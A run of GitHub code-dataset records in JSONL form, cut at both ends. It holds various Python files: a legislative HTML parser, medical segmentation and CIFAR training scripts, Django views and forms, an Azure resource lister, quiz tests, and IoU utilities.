return True\n if self.is_next_article(element):\n return True\n if self.is_next_titre(element):\n return True\n if element.name == \"p\":\n return False\n for child in element.children:\n if child.name in STOP_TAGS:\n return True\n if self.is_next_article(element):\n return True\n if self.is_next_titre(child):\n return True\n return False\n\n def get_next_pastille(self, elements: BeautifulSoup) -> Iterable[str]:\n result: List = []\n for element in elements:\n if self.is_condition_arret(element):\n if result:\n yield \" \".join(result)\n result = []\n break\n current = self.clean_pastille_content(element)\n if not current:\n continue\n new_pastille = self.is_new_pastille(current)\n if new_pastille:\n if result:\n yield \" \".join(result)\n result = [current]\n else:\n result.append(current)\n if result:\n yield \" \".join(result)\n\n def get_articles(self) -> Iterable[Tuple]:\n\n dict_article: Dict[Any, Any] = dict()\n\n content = self.download_html()\n try:\n soup = BeautifulSoup(content, features=\"lxml\")\n except AlertOnData:\n raise\n except Exception:\n logger.error(\n f\"Scraping of lecture {self.lecture}, {self.url} : \\\nErreur lors de l'initialisation de BeautifulSoup\"\n )\n raise AlertOnData(\n f\"Scraping of lecture {self.lecture}, {self.url} : \\\nErreur lors de l'initialisation de BeautifulSoup\",\n \"data\",\n 2,\n )\n dict_article[\"textes\"] = []\n dict_article[\"titre\"] = \"\"\n\n list_articles = soup.find_all(\"p\", attrs={\"class\": [\"aFPFTprojetitrarticle\"]})\n\n for article in list_articles:\n dict_article[\"titre\"] = self.get_num_article(article)\n dict_article[\"textes\"] = []\n\n for pastille in self.get_next_pastille(article.find_next_siblings()):\n p = re.compile(r\"\\(\\d+\\)\")\n m = p.match(pastille)\n if m:\n last_pastille_caractere = m.end()\n dict_article[\"textes\"].append(\n pastille[last_pastille_caractere:].strip()\n )\n else:\n dict_article[\"textes\"].append(pastille)\n\n tuple_article = (dict_article[\"titre\"], dict_article[\"textes\"])\n del dict_article[\"textes\"]\n\n yield tuple_article\n\n def transform(self) -> List[Dict[Any, Any]]:\n if self.suffixe == \"\":\n self.logger.info(\"article sans suffixe, utilisation du parseur DEFAULT\")\n parseur = Parseur(self.lecture)\n return parseur.transform()\n else:\n self.logger.info(\"article avec un suffixe\")\n return super().transform()\n","repo_name":"administration-solrep/signale","sub_path":"zam-repondeur-1.17.7/zam_repondeur/services/fetch/an/parser/parseur_plf.py","file_name":"parseur_plf.py","file_ext":"py","file_size_in_byte":6650,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"13033671704","text":"import argparse\nimport logging\nimport os\nimport random\nimport sys\nimport numpy as np\nimport torch\nimport torch.backends.cudnn as cudnn\nimport torch.nn as nn\nfrom torch.utils.data import DataLoader\nfrom tqdm import tqdm\nfrom datasets.dataset_synapse import Synapse_dataset\nfrom utils import test_single_volume\n\nfrom models.mewunet import MEWUNet\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--volume_path', type=str,\n default='../data/Synapse/test_vol_h5', help='root dir for validation volume data') # for acdc volume_path=root_dir\nparser.add_argument('--dataset', type=str,\n default='Synapse', help='experiment_name')\nparser.add_argument('--num_classes', type=int,\n default=4, help='output channel of network')\nparser.add_argument('--list_dir', type=str,\n default='./lists/lists_Synapse', help='list dir')\n\nparser.add_argument('--max_iterations', type=int,default=20000, help='maximum epoch number to train')\nparser.add_argument('--max_epochs', type=int, default=30, help='maximum epoch number to train')\nparser.add_argument('--batch_size', type=int, default=1,\n help='batch_size per gpu')\nparser.add_argument('--img_size', type=int, default=224, help='input patch size of network input')\nparser.add_argument('--is_savenii', action=\"store_true\", help='whether to save results during inference')\n\nparser.add_argument('--n_skip', type=int, default=3, help='using number of skip-connect, default is num')\nparser.add_argument('--vit_name', type=str, default='ViT-B_16', help='select one vit model')\n\nparser.add_argument('--test_save_dir', type=str, default='../predictions', help='saving prediction as nii!')\nparser.add_argument('--deterministic', type=int, default=1, help='whether use deterministic training')\nparser.add_argument('--base_lr', type=float, default=0.01, help='segmentation network learning rate')\nparser.add_argument('--seed', type=int, default=1234, help='random seed')\nparser.add_argument('--vit_patches_size', type=int, default=16, help='vit_patches_size, default is 16')\nargs = parser.parse_args()\n\n\ndef inference(args, model, test_save_path=None):\n db_test = args.Dataset(base_dir=args.volume_path, split=\"test_vol\", list_dir=args.list_dir)\n testloader = DataLoader(db_test, batch_size=1, shuffle=False, num_workers=1)\n logging.info(\"{} test iterations per epoch\".format(len(testloader)))\n model.eval()\n metric_list = 0.0\n for i_batch, sampled_batch in tqdm(enumerate(testloader)):\n h, w = sampled_batch[\"image\"].size()[2:]\n image, label, case_name = sampled_batch[\"image\"], sampled_batch[\"label\"], sampled_batch['case_name'][0]\n metric_i = test_single_volume(image, label, model, classes=args.num_classes, patch_size=[args.img_size, args.img_size],\n test_save_path=test_save_path, case=case_name, z_spacing=args.z_spacing)\n metric_list += np.array(metric_i)\n logging.info('idx %d case %s mean_dice %f mean_hd95 %f' % (i_batch, case_name, np.mean(metric_i, axis=0)[0], np.mean(metric_i, axis=0)[1]))\n metric_list = metric_list / len(db_test)\n for i in range(1, args.num_classes):\n logging.info('Mean class %d mean_dice %f mean_hd95 %f' % (i, metric_list[i-1][0], metric_list[i-1][1]))\n performance = np.mean(metric_list, axis=0)[0]\n mean_hd95 = np.mean(metric_list, axis=0)[1]\n logging.info('Testing performance in best val model: mean_dice : %f mean_hd95 : %f' % (performance, mean_hd95))\n return \"Testing Finished!\"\n\n\nif __name__ == \"__main__\":\n\n if not args.deterministic:\n cudnn.benchmark = True\n cudnn.deterministic = False\n else:\n cudnn.benchmark = False\n cudnn.deterministic = True\n random.seed(args.seed)\n np.random.seed(args.seed)\n torch.manual_seed(args.seed)\n torch.cuda.manual_seed(args.seed)\n\n dataset_config = {\n 'Synapse': {\n 'Dataset': Synapse_dataset,\n 'volume_path': './data/Synapse/test_vol_h5',\n 'list_dir': './lists/lists_Synapse',\n 'num_classes': 9,\n 'z_spacing': 1,\n },\n }\n dataset_name = args.dataset\n args.num_classes = dataset_config[dataset_name]['num_classes']\n args.volume_path = dataset_config[dataset_name]['volume_path']\n args.Dataset = dataset_config[dataset_name]['Dataset']\n args.list_dir = dataset_config[dataset_name]['list_dir']\n args.z_spacing = dataset_config[dataset_name]['z_spacing']\n\n net = MEWUNet().cuda()\n\n snapshot_path = './our_weights/best-epoch531-mean_dice0.7892-mean_hd9516.4430.pth'\n net.load_state_dict(torch.load(snapshot_path))\n snapshot_name = snapshot_path.split('/')[-1]\n\n log_folder = './test_log/test_log'\n os.makedirs(log_folder, exist_ok=True)\n logging.basicConfig(filename=log_folder + '/'+snapshot_name+\".txt\", level=logging.INFO, format='[%(asctime)s.%(msecs)03d] %(message)s', datefmt='%H:%M:%S')\n logging.getLogger().addHandler(logging.StreamHandler(sys.stdout))\n logging.info(str(args))\n logging.info(snapshot_name)\n\n if args.is_savenii:\n args.test_save_dir = '../predictions'\n test_save_path = os.path.join(args.test_save_dir, snapshot_name)\n os.makedirs(test_save_path, exist_ok=True)\n else:\n test_save_path = None\n inference(args, net, test_save_path)\n\n\n","repo_name":"JCruan519/MEW-UNet","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":5377,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"21"} +{"seq_id":"26815085160","text":"import numpy as np\nimport cv2 as cv\nfrom matplotlib import pyplot as plt\nimport random\nimg = cv.imread('temp.jpg',0)\ndef histPlot(img):\n hist,bins = np.histogram(img.flatten(),256,[0,256])\n cdf = hist.cumsum()\n cdf_normalized = cdf * hist.max() / (cdf.max() - cdf.min())\n plt.plot(cdf_normalized, color = 'b')\n plt.hist(img.flatten(),256,[0,256], color = 'r')\n plt.xlim([0,256])\n plt.legend(('cdf','histogram'), loc = 'upper left')\n plt.show()\n\nimg2 = cv.imread('temp.jpg',0)\neq = cv.equalizeHist(img2)\nres = np.hstack((img2,eq))\nhistPlot(img2)\nhistPlot(eq)\nplt.imshow(res)\nplt.show()\n# cdf_m = np.ma.masked_equal(cdf,0)\n# cdf_m = (cdf_m - cdf_m.min())*255/(cdf_m.max()-cdf_m.min())\n# cdf = np.ma.filled(cdf_m,0).astype('uint8')\n# image2 = cdf[img]\n# plt.hist(img.flatten(),256,[0,256], color = 'r')\n# plt.xlim([0,256])\n# plt.legend(('cdf','histogram'), loc = 'upper left')\n# plt.show()","repo_name":"yan-code1/TrainingCode","sub_path":"TrainCode/ImgDeal/histq.py","file_name":"histq.py","file_ext":"py","file_size_in_byte":911,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"17622085486","text":"import random\n\nfrom main import create_question_bank\nfrom backend.snake_brain import SnakeBrain\n\n\nclass TestSnakeBrain:\n # random.seed(1), numbers == [5, 19, 3, 9, 4, 16, 15, 21, 13, 7]\n random.seed(1)\n question_bank = create_question_bank()\n random.seed()\n\n def test_snakebrain_instance(self):\n brain = SnakeBrain(TestSnakeBrain.question_bank)\n\n assert brain.questions == TestSnakeBrain.question_bank\n assert brain.question_no == 0\n\n def test_next_question(self):\n brain = SnakeBrain(TestSnakeBrain.question_bank)\n text = brain.next_question() \n\n assert brain.question_no == 1 \n assert text == 'Q. 1: A tuple is one of the four built-in data types in Python. Which of these best describes a tuple?'\n\n def test_has_more_questions(self):\n brain = SnakeBrain(TestSnakeBrain.question_bank)\n brain.question_no = 10\n\n assert brain.has_more_questions() == False\n\n def test_check_answer(self):\n brain = SnakeBrain(TestSnakeBrain.question_bank) \n brain.next_question() \n\n assert brain.check_answer('A tuple is a collection which is unchangeable and ordered.') == True\n assert brain.check_answer('A tuple is a collection which is unchangeable and unordered.') == False\n assert brain.score == 1\n\n def test_check_score(self):\n brain = SnakeBrain(TestSnakeBrain.question_bank)\n brain.next_question() \n\n assert brain.check_answer('A tuple is a collection which is unchangeable and ordered.') == True\n brain.question_no = 10\n assert brain.get_score() == (1, 9, 10)\n \n\n","repo_name":"serioh/Group-One-Nano-Project","sub_path":"Tests/test_snake_brain.py","file_name":"test_snake_brain.py","file_ext":"py","file_size_in_byte":1647,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"71304105013","text":"from django.shortcuts import render, get_object_or_404, redirect\nfrom . models import *\nfrom .forms import PostForm, CommentForm\n\n\n# def home(request):\n# \treturn render(request, \"base.html\")\n\ndef post_list(request):\n\tposts = Articles.objects.all()\n\treturn render(request, 'post_list.html', {'posts': posts})\n\ndef post_detail(request, pk):\n\tpost = get_object_or_404(Articles, pk=pk)\n\treturn render(request, 'post_detail.html', {'post': post})\n\n# @login_required\ndef post_new(request):\n if request.method == \"POST\":\n form = PostForm(request.POST)\n if form.is_valid():\n post = form.save(commit=False)\n post.user = request.user\n post.timestamp = timezone.now() \n post.save()\n return redirect('post_detail', pk=post.pk)\n else: \n form = PostForm()\n return render(request, 'post_edit.html', {'form': form})\n\n# @login_required\ndef post_edit(request, pk):\n post = get_object_or_404(Articles, pk=pk)\n if request.method == \"POST\":\n form = PostForm(request.POST, instance=post)\n if form.is_valid():\n post = form.save(commit=False)\n post.user = request.user\n post.timestamp = timezone.now()\n post.save()\n return redirect('post_detail', pk=post.pk)\n else:\n form = PostForm(instance=post)\n return render(request, 'post_edit.html', {'form': form})\n\n# @login_required\ndef post_remove(request, pk):\n post = get_object_or_404(Articles, pk=pk)\n post.delete()\n return redirect('post_list')\n\n\t\ndef add_comment_to_post(request, pk):\n\tpost = get_object_or_404(Articles, pk=pk)\n\tif request.method == \"POST\":\n\t\tform = CommentForm(request.POST)\n\t\tif form.is_valid():\n\t\t\tcomment = form.save(commit = False)\n\t\t\tcomment.id = pk\n\t\t\tcomment.post = post\n\t\t\tcomment.user = request.user\n\t\t\tcomment.timestamp = timezone.now() \n\t\t\tcomment.save()\n\t\t\treturn redirect('post_detail', pk=post.pk)\n\telse:\n\t\tform = CommentForm()\n\treturn render(request, 'add_comment_to_post.html', {'form': form})\n","repo_name":"iamashwinks/GRC_Final","sub_path":"posts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2057,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"42035780267","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\n#plt.rcParams['font.sans-serif'] = ['SimHei']\n#plt.rcParams['axes.unicode_minus'] = False\n\nx = np.linspace(-2 * np.pi, 2 * np.pi, 200) \nf1 = np.sin(x)\nf2 = np.cos(x)\nf3 = np.tan(x)\nf4 = 1 / f3\nf5=1/f2\nf6=1/f1\n#plt.plot(x, f1, label=r'$y=sin(x)$')\n#plt.plot(x, f2, label=r'$y=cos(x)$')\n#plt.plot(x, f3, label=r'$y=tan(x)$')\n#plt.plot(x, f4, label=r'$y=cot(x)$')\nplt.plot(x, f5, label=r'$y=sec(x)$', )\n#plt.plot(x, f6, label=r'$y=csc(x)$', )\n\n#ax = plt.gca()\n#ax.spines['top'].set_color('none')\n#ax.xaxis.set_ticks_position('bottom')\n#ax.yaxis.set_ticks_position('left')\n#ax.spines['bottom'].set_position(('data', 0))\n#ax.spines['left'].set_position(('data', 0))\n\nplt.xlim(x.min() * 1.1, x.max() * 1.1) # limit x range\nplt.ylim(-4, 4) # limit y range\n#plt.xticks([-2 * np.pi, -3 * np.pi / 2, -np.pi, -np.pi / 2, 0, np.pi / 2, np.pi, 3 * np.pi / 2, 2 * np.pi],\n #[r'$-2\\pi$', r'$-3\\pi/2$', r'$-\\pi$', r'$-\\pi/2$', r'$0$', r'$\\pi/2$', r'$\\pi$', r'$3\\pi/2$', r'$2\\pi$'])\n#plt.legend(loc='best')\nplt.show()\n","repo_name":"OuJunLin/Python-math_graph","sub_path":"Test04.py","file_name":"Test04.py","file_ext":"py","file_size_in_byte":1065,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"70904120052","text":"import os\n\nclass Writer:\n def write_file(self, write_in, tmp_file, data, mode):\n print(\"Going to write: \" + data + \" in file:\" + write_in)\n #Writes file 'write_in' with 'data' using a temp file passed\n f = open(tmp_file, mode)\n f.write(data)\n f.flush()\n os.fsync(f.fileno()) \n f.close()\n\n #Is atomic\n os.rename(tmp_file, write_in)\n print(\"Writer finished working\")","repo_name":"fedefunes96/tp3-sistemas-distribuidos","sub_path":"cluster_manager/writer/writer.py","file_name":"writer.py","file_ext":"py","file_size_in_byte":437,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"5703817219","text":"from typing import List\nimport os, json\n\nfrom banyan.ext.iaas.base import IaasAccount, IaasResource, IaasInstance, IaasRegion, IaasConf, IaasController\n \nfrom azure.identity import DefaultAzureCredential\nfrom azure.mgmt.resource import ResourceManagementClient\nfrom azure.mgmt.compute import ComputeManagementClient\nfrom azure.mgmt.network import NetworkManagementClient\n\n\nclass AzureController(IaasController):\n def __init__(self, filter_by_resource_group: str, filter_by_location: str = None, filter_by_tag_name: str = None):\n self._provider = 'azure'\n _azure_subscription_id = os.getenv('AZURE_SUBSCRIPTION_ID')\n _azure_tenant_id = os.getenv('AZURE_TENANT_ID')\n _azure_client_id = os.getenv('AZURE_CLIENT_ID')\n _azure_client_secret = os.getenv('AZURE_CLIENT_SECRET')\n if not _azure_subscription_id:\n _creds = IaasConf.get_creds(self._provider)\n _azure_subscription_id = _creds['azure_subscription_id']\n _azure_tenant_id = _creds['azure_tenant_id']\n _azure_client_id = _creds['azure_client_id']\n _azure_client_secret = _creds['azure_client_secret']\n\n try:\n os.environ['AZURE_SUBSCRIPTION_ID'] = _azure_subscription_id\n os.environ['AZURE_TENANT_ID'] = _azure_tenant_id\n os.environ['AZURE_CLIENT_ID'] = _azure_client_id\n os.environ['AZURE_CLIENT_SECRET'] = _azure_client_secret \n self._credential = DefaultAzureCredential() # needs env vars\n self._subscription_id = _azure_subscription_id # for clients\n resource_client = ResourceManagementClient(self._credential, self._subscription_id)\n except Exception as ex:\n print('AzureSDKError > %s' % ex.args[0])\n raise\n self._filter_by_resource_group = filter_by_resource_group\n self._filter_by_location = filter_by_location\n self._filter_by_tag_name = filter_by_tag_name\n\n try:\n self._resource_group_list = resource_client.resource_groups.list()\n except Exception as ex:\n print('AzureControllerError > %s' % ex.args[0])\n raise\n\n\n def list_vm(self):\n res_type = 'vm'\n compute_client = ComputeManagementClient(self._credential, self._subscription_id)\n network_client = NetworkManagementClient(self._credential, self._subscription_id)\n\n # VMs in all resource groups\n vm_list = compute_client.virtual_machines.list_all()\n\n instances: List[IaasResource] = list()\n for vm in list(vm_list):\n #print(json.dumps(vm.as_dict(), indent=4))\n vm_loc = vm.location\n vm_tags = vm.tags or dict()\n vm_reference = vm.id.split('/')\n vm_rg = vm_reference[4]\n ni_reference = vm.network_profile.network_interfaces[0].id.split('/')\n ni_name = ni_reference[8]\n\n # implement filtering\n if self._filter_by_resource_group != 'all' and self._filter_by_resource_group != vm_rg:\n continue\n if self._filter_by_location and self._filter_by_location != vm_loc:\n continue\n if self._filter_by_tag_name and not vm_tags.get(self._filter_by_tag_name):\n continue\n\n # check network interface for address\n net_interface = network_client.network_interfaces.get(vm_rg, ni_name)\n #print(json.dumps(net_interface.as_dict(), indent=4))\n # assume only 1 NIC\n ip_config = net_interface.ip_configurations[0]\n private_ip = ip_config.private_ip_address or ''\n public_ip = ''\n if ip_config.public_ip_address:\n pub_ip_reference = ip_config.public_ip_address.id.split('/')\n pub_ip_group = pub_ip_reference[4]\n pub_ip_name = pub_ip_reference[8]\n pub_ip = network_client.public_ip_addresses.get(pub_ip_group, pub_ip_name)\n #print(json.dumps(pub_ip.as_dict(), indent=4))\n public_ip = pub_ip.ip_address\n\n res_inst = IaasInstance(\n type = res_type,\n id = vm.id,\n name = vm.name,\n private_ip = private_ip,\n public_ip = public_ip\n )\n\n res_acct = IaasAccount('resource_group', vm_rg)\n res_regn = IaasRegion('location', vm_loc)\n\n res = IaasResource(\n provider = self._provider,\n account = res_acct,\n region = res_regn,\n instance = res_inst,\n tags = vm_tags\n )\n instances.append(res)\n\n return instances\n\n\n def list_lb(self):\n res_type = 'lb'\n network_client = NetworkManagementClient(self._credential, self._subscription_id)\n\n lb_list = network_client.load_balancers.list_all()\n\n instances: List[IaasResource] = list()\n for lb in list(lb_list):\n #print(json.dumps(lb.as_dict(), indent=4))\n lb_loc = lb.location\n lb_tags = lb.tags or dict()\n lb_reference = lb.id.split('/')\n lb_rg = lb_reference[4]\n\n # implement filtering\n if self._filter_by_resource_group != 'all' and self._filter_by_resource_group != lb_rg:\n continue \n if self._filter_by_location and self._filter_by_location != lb_loc:\n continue\n if self._filter_by_tag_name and not lb_tags.get(self._filter_by_tag_name):\n continue\n\n ip_config = lb.frontend_ip_configurations[0]\n private_ip = ip_config.private_ip_address or ''\n public_ip = ''\n if ip_config.public_ip_address:\n pub_ip_reference = ip_config.public_ip_address.id.split('/')\n pub_ip_group = pub_ip_reference[4]\n pub_ip_name = pub_ip_reference[8]\n pub_ip = network_client.public_ip_addresses.get(pub_ip_group, pub_ip_name)\n #print(json.dumps(pub_ip.as_dict(), indent=4))\n public_ip = pub_ip.ip_address\n\n res_ports = list()\n for lb_rule in list(lb.load_balancing_rules):\n res_ports.append(f'{lb_rule.frontend_port}/{lb_rule.protocol}')\n\n res_inst = IaasInstance(\n type = res_type,\n id = lb.id,\n name = lb.name,\n public_ip = public_ip,\n private_ip = private_ip,\n ports = res_ports\n )\n\n res_acct = IaasAccount('resource_group', lb_rg)\n res_regn = IaasRegion('location', lb_loc)\n\n res = IaasResource(\n provider = self._provider,\n account = res_acct,\n region = res_regn,\n instance = res_inst,\n tags = lb_tags\n )\n instances.append(res)\n\n return instances\n\n\nif __name__ == '__main__':\n azr = AzureController('all', None, 'banyan:discovery')\n my_vms = azr.list_vm()\n print(my_vms)\n my_lbs = azr.list_lb()\n print(my_lbs)\n\n","repo_name":"banyansecurity/pybanyan","sub_path":"banyan/ext/iaas/azure_cloud.py","file_name":"azure_cloud.py","file_ext":"py","file_size_in_byte":7166,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"18878743282","text":"import numpy as np \nimport torch\nimport torch.nn as nn \nimport torchvision.transforms as transforms\n# Other Library\nfrom datetime import datetime\n# Self-Defined Files\nimport Utils\nimport Config\nimport Recorder\n# Models\nimport AlexNet, ResNet, LeNet5, MobileNet, NiNet\nimport SqueezeNet, myNet\n\n# Recorder Instantiate\nmyRecorder = Recorder.Recorder()\ntorch.cuda.empty_cache()\n\n# Fetch Models, Init & Copy\n# model = ResNet.Fetch_ResNet('ResNet8v1')\n# model = AlexNet.AlexNet()\n# model = LeNet5.LeNet5()\n# model = MobileNet.MobileNetv1()\n# model = NiNet.NetworkInNetwork()\n# model = SqueezeNet.Fetch_SqueezeNet('Bypass_Simple')\n# model = SqueezeNet.SqueezeNet('Basic')\nmodel = myNet.myNet(ResidualDepth = 2, DepthShrink = 0.5)\n\n\n\n# print(model)\nprint(sum(p.numel() for p in model.parameters() if p.requires_grad))\n# raise ValueError('aaaaaa')\n\n\nmodel.apply(Utils.weight_init)\nmyRecorder.add_record_('Model', model.model_name)\nmyRecorder.add_record_('Model Size Trainable', sum(p.numel() for p in model.parameters() if p.requires_grad))\nmyRecorder.add_record_('Model Size Total', sum(p.numel() for p in model.parameters()))\nmyRecorder.add_record_('Model Structure', [layer[2:] for layer in str(model).split('\\n')[1:-1]])\n\n\n# Define some Hyperparameters\nbatch_size = 128\ntotal_epoch = 350\ndevice = Utils.check_device()\nmodel.to(device)\nmyRecorder.add_record_('Batch Size', batch_size)\nmyRecorder.add_record_('Total Epoch', total_epoch)\nmyRecorder.add_record_('Device', str(device))\n\n# Loss Function\nlossFunc = nn.CrossEntropyLoss()\nmyRecorder.add_record_('Loss Function', str(lossFunc)[:-2])\n# Optimizer & Learning Rate Scheduler\noptim_dict = Config.Optimizer['SGD']\nscheduler_dict = Config.lr_Scheduler['MultiStepLR']\noptim, scheduler = Utils.optim_init(model, optim_dict, scheduler_dict)\nmyRecorder.add_record_('Optimizer', {'Type': optim_dict['optim_TYPE'],\n 'State': optim.state_dict()['state'],\n 'param_groups': optim.state_dict()['param_groups'][0]})\nmyRecorder.add_record_('lr Scheduler', {'Type': scheduler_dict['schedule_TYPE'],\n 'State': scheduler.state_dict()})\n\n# DataSet Fetch & Augmentation\nTrain_transform = transforms.Compose([transforms.RandomCrop(32, padding = 4),\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor(),\n transforms.Normalize((0.4914, 0.4822, 0.4465), (0.247, 0.243, 0.261))])\nTest_transform = transforms.Compose([ transforms.ToTensor(),\n transforms.Normalize((0.4914, 0.4822, 0.4465), (0.247, 0.243, 0.261))])\nDataLoader, label = Utils.DatasetLoader('CIFAR10', Train_transform, Test_transform, batch_size, TrainShrink = 0.03125)\nmyRecorder.add_record_('TrainSet Size', 0.03125)\nmyRecorder.add_record_('Train Transform', [trans[4:] for trans in str(Train_transform).split('\\n')[1:-1]])\nmyRecorder.add_record_('Test Transform', [trans[4:] for trans in str(Test_transform).split('\\n')[1:-1]])\nmyRecorder.add_record_('Dataset', 'CIFAR10')\n\n\n# Starts Training\n# Record Start Time, this serves as time stamp for all the files stored\nTimeStamp = str(datetime.now())\nStartTime = datetime.now()\ntrain_acc, test_acc, loss = Utils.train(model, DataLoader, lossFunc, optim, device, total_epoch, scheduler)\nmyRecorder.add_record_('TrainingTime', str(datetime.now() - StartTime))\nStartTime = datetime.now()\nclass_prob, ConfuMx = Utils.fine_validate(model, DataLoader[1], device, label)\nmyRecorder.add_record_('InferenceTime', str(datetime.now() - StartTime))\nUtils.visualize_plt('../save/' + TimeStamp, train_acc, test_acc, loss)\nUtils.Save_Model(model, '../save/' + TimeStamp)\n# Save Config into JSON\nmyRecorder.add_record_('Performance', { 'Best_Train': max(train_acc), 'Final_Train': train_acc[-1],\n 'Best_Test' : max(test_acc), 'Final_Test': test_acc[-1],\n 'Best_Loss': max(loss), 'Final_Loss': loss[-1]})\nmyRecorder.add_record_('Class Performance', {label[i]: class_prob[i] for i in range(len(label))})\nmyRecorder.add_record_('Confusion Matrix', {label[i]: str(ConfuMx[i]) for i in range(len(label))})\n\n# Clean Up\nmyRecorder.json_dump_('../save/' + TimeStamp)\ntorch.cuda.empty_cache()\n","repo_name":"ChengyaoWang/PlayGround","sub_path":"PyTorchModels/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4351,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"4623811892","text":"consoante = []\nvogal = []\nc = 0\nfor i in range(1,11):\n x = str(input(\"Digite uma letra: \"))\n if len(x)>= 2:\n print(\"Eu disse uma letra\")\n break\n if x == 'a' or x == 'e' or x == 'i' or x == 'o' or x == 'u':\n vogal.append(x)\n else:\n consoante.append(x)\n c = c + 1\nprint(\"O número de consoantes é de %i\"%c)\nprint(\"E as consoantes são\")\nprint(consoante)\n","repo_name":"Davi-Augusto-Schmidt/Programas-e-exercicios","sub_path":"Python/4 - Exercicios com listas/4.py","file_name":"4.py","file_ext":"py","file_size_in_byte":400,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"2922677244","text":"from django.forms import ModelForm\nfrom django import forms\nfrom billing.models import Product,Purchase,Order,OrderLines\n\nclass ProductCreateForm(ModelForm):\n class Meta:\n model=Product\n fields=[\"product_name\"]\n\nclass PurchaseCreateForm(ModelForm):\n class Meta:\n\n model = Purchase\n fields = [\"product\",\"qty\",\"purchase_price\",\"selling_price\"]\n # widgets = {\"qty\": forms.TextInput(attrs={'class': 'form-control'})}\n # widgets = {\"product\": forms.TextInput(attrs={'class': 'form-control'})}\n # widgets = {\"purchase_price\": forms.TextInput(attrs={'class': 'form-control'})}\n\n\nclass OrderCreateForm(ModelForm):\n billnumber = forms.CharField(widget=forms.TextInput(attrs={'readonly': 'readonly'}))\n class Meta:\n model = Order\n fields = [\"billnumber\",\"customer_name\",\"phone_number\"]\n\nclass OrderlinesCreateForm(forms.Form):\n # fields = [\"bill_number\",\"product_name\",\"product_qty\"]\n bill_number = forms.CharField(widget=forms.TextInput(attrs={'readonly': 'readonly'}))\n # bill_number=forms.CharField()\n queryset = Purchase.objects.all().filter(qty__gte=1).values_list('product__product_name', flat=True)\n\n choices = [(name, name) for name in queryset]\n\n product_name=forms.ChoiceField(choices=choices,required=False,widget=forms.Select())\n product_qty=forms.IntegerField()\n\n class Meta:\n model=OrderLines\n fields = [\"bill_number\", \"product_name\", \"product_qty\"]\n\n","repo_name":"Sibinvarghese/GroceryBillingSystem","sub_path":"billing/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1508,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"38810628975","text":"from typing import Tuple, Optional\n\nimport numpy as np\n\n\ndef box_iou(\n box_true: Tuple[float, float, float, float],\n box_detection: Tuple[float, float, float, float]\n) -> Optional[float]:\n \"\"\"\n Compute Intersection over Union of two bounding boxes - `box_true` and `box_detection`. Both boxes are expected to be\n tuples in `(x_min, y_min, x_max, y_max)` format.\n\n Args:\n box_true: `tuple` representing ground-truth bounding boxes.\n box_detection: `tuple` representing detection bounding boxes.\n\n Returns:\n iou: `float` value between 0 and 1. `None` if union is equal to 0.\n\n Example:\n ```\n >>> from onemetric.cv.utils.iou import box_iou\n\n >>> iou = box_iou_batch(\n ... boxes_true=(0., 0., 1., 1.),\n ... boxes_detection=(0.25, 0., 1.25, 1.)\n ... )\n\n >>> iou\n ... 0.6\n ```\n \"\"\"\n _validate_box(box=box_true)\n _validate_box(box=box_detection)\n\n x_min_true, y_min_true, x_max_true, y_max_true = box_true\n x_min_detection, y_min_detection, x_max_detection, y_max_detection = box_detection\n\n x_min = max(x_min_true, x_min_detection)\n y_min = max(y_min_true, y_min_detection)\n x_max = min(x_max_true, x_max_detection)\n y_max = min(y_max_true, y_max_detection)\n\n area_intersection = max(0.0, x_max - x_min) * max(0.0, y_max - y_min)\n area_true = (x_max_true - x_min_true) * (y_max_true - y_min_true)\n area_detection = (x_max_detection - x_min_detection) * (y_max_detection - y_min_detection)\n area_union = area_true + area_detection - area_intersection\n\n if area_union == 0:\n return None\n\n return area_intersection / area_union\n\n\n# Updated version of box_iou_batch from https://github.com/kaanakan/object_detection_confusion_matrix\n\n\ndef box_iou_batch(boxes_true: np.ndarray, boxes_detection: np.ndarray) -> np.ndarray:\n \"\"\"\n Compute Intersection over Union of two sets of bounding boxes - `boxes_true` and `boxes_detection`. Both sets of\n boxes are expected to be in `(x_min, y_min, x_max, y_max)` format.\n\n Args:\n boxes_true: 2d `np.ndarray` representing ground-truth boxes. `shape = (N, 4)` where N is number of true objects.\n boxes_detection: 2d `np.ndarray` representing detection boxes. `shape = (M, 4)` where M is number of detected objects.\n\n Returns:\n iou: 2d `np.ndarray` representing pairwise IoU of boxes from `boxes_true` and `boxes_detection`. `shape = (N, M)` where N is number of true objects and M is number of detected objects.\n\n Example:\n ```\n >>> import numpy as np\n\n >>> from onemetric.cv.utils.iou import box_iou_batch\n\n >>> boxes_true = np.array([\n ... [0., 0., 1., 1.],\n ... [2., 2., 2.5, 2.5]\n ... ])\n >>> boxes_detection = np.array([\n ... [0., 0., 1., 1.],\n ... [2., 2., 2.5, 2.5]\n ... ])\n >>> iou = box_iou_batch(boxes_true=boxes_true, boxes_detection=boxes_detection)\n\n >>> iou\n ... np.array([\n ... [1., 0.],\n ... [0., 1.]\n ... ])\n ```\n \"\"\"\n\n _validate_boxes_batch(boxes_batch=boxes_true)\n _validate_boxes_batch(boxes_batch=boxes_detection)\n\n def box_area(box):\n return (box[2] - box[0]) * (box[3] 